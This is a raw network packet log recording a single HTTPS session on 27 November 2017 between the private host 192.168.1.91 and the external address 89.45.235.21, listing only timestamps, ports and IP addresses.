Nov 27, 2017 12:34:35.407829046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.407939911 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.407963991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.409197092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.409215927 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.409332991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.409357071 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.411199093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.411216974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.411288977 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.411312103 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.412276030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.412298918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.412379980 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.412400961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.414063931 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.414089918 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.414221048 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.414244890 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.415363073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.415397882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.415486097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.415509939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.416896105 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.416929960 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.417022943 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.417047024 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.418366909 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.418399096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.418416023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.418478012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.418504000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.420156956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.420183897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.420265913 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.420289040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.422847033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.422873020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.422991991 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.423017979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423723936 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423751116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423830032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.423852921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423890114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423912048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423930883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.423980951 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.424000025 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.425693989 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.425719023 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.425777912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.425802946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.426136017 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.427618027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.427659035 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.427762032 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.427786112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.428822041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.428937912 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.428965092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.430243015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.430263042 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.430344105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.430367947 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.430675030 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.430691957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.430784941 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.430809975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.432897091 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.432912111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.433042049 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.433070898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.434087992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.434102058 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.434209108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.434237957 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.436799049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.436814070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.436896086 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.436924934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.444696903 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.444713116 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.444869041 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.444895983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.445885897 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.445996046 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.446022034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.457530022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.457550049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.457705975 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.457734108 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.458148956 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.458162069 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.458266020 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.458291054 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.464612007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.464642048 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.464658976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.464678049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.464761972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.464788914 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.470350981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.470366001 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.470479012 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.470504045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.472271919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.472290039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.472378969 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.472403049 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.479259968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.479285955 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.479300022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.479419947 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.479444981 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.483968973 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.483999014 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.484098911 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.484123945 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.494631052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.494662046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.494805098 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.494826078 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.499806881 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.499821901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.499931097 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.499949932 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.501658916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.501686096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.501808882 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.501833916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.525610924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.525640965 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.525652885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.525830030 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.525846958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.526937008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.526978016 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.527084112 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.527107954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.540224075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.540252924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.540337086 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.540363073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.542568922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.542597055 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.542706966 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.542730093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.554932117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.555200100 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.555228949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.560672045 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.560703039 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.560815096 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.560839891 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.563581944 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.563648939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.563819885 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.563846111 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.579720020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.579749107 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.582772970 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.582796097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.585508108 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.585532904 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.594446898 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.594485998 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.594568968 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.594592094 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.609162092 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.609183073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.609261036 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.609286070 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.616679907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.616700888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.616827011 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.616853952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.633620977 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.633641005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.635478020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.635616064 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.635642052 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.644898891 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.645509005 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.645524979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.645545959 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.645623922 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.650362968 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.652667999 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.652700901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.652785063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.652810097 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.661346912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.661375046 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.661463022 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.661489010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.670350075 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.670470953 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.670496941 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.677054882 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.677078009 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.677181959 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.677196026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.677213907 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.677227974 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.679766893 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.687916040 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.687935114 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.687953949 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.688030958 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.694425106 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.694444895 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.694463015 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.699815035 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.699841976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.709865093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.709872961 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.709949017 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.709970951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.726650000 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.726686954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.726706982 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.726793051 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.726815939 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.747062922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.747083902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.747162104 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.747183084 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.766736031 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.766848087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.767180920 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.767203093 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.811811924 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.811829090 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.812082052 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.812099934 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.819235086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.819269896 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.819430113 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.819458008 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.836822033 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.836905003 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.836921930 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.843894958 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.843910933 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.844259024 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.844286919 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.851072073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.851084948 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.851413965 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.851445913 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.856597900 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.856623888 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.856755972 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.856789112 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.865205050 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.865223885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.865241051 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.865293980 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.865320921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.873127937 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.873142004 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.873661041 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.873692036 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.877053976 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.877075911 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.877162933 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.877192020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.918129921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.918147087 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.918246031 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.918277979 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.940339088 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.940377951 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.940664053 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.940711021 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.968055010 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.968090057 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.968112946 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:35.968314886 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:35.968347073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.066241980 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.066268921 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.066276073 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.066479921 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.066510916 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.087946892 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.087982893 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.088154078 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.088185072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.111968994 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.111989975 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.112121105 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.112142086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.134124041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.134141922 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.134232044 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.134251118 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.141805887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.141819954 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.141926050 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.141940117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.160820007 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.160845041 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.160896063 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.160912991 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.176618099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.176640034 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.176647902 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.176747084 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.176760912 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.193803072 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.193825006 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.194119930 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.194137096 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.200932026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.200951099 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.201047897 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.201069117 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.214006901 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.214024067 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.215706110 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.215729952 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.226828098 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.226854086 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.226933956 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.226953983 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.242501020 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.242537022 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.242660046 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.242681026 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.243849993 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.243875027 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.243963003 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.243980885 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.252346992 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.252374887 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.252799034 CET	49165	443	192.168.1.91	89.45.235.21
Nov 27, 2017 12:34:36.252827883 CET	443	49165	89.45.235.21	192.168.1.91
Nov 27, 2017 12:34:36.254331112 CET	443	49165	89.45.235.21	192.168.1.91
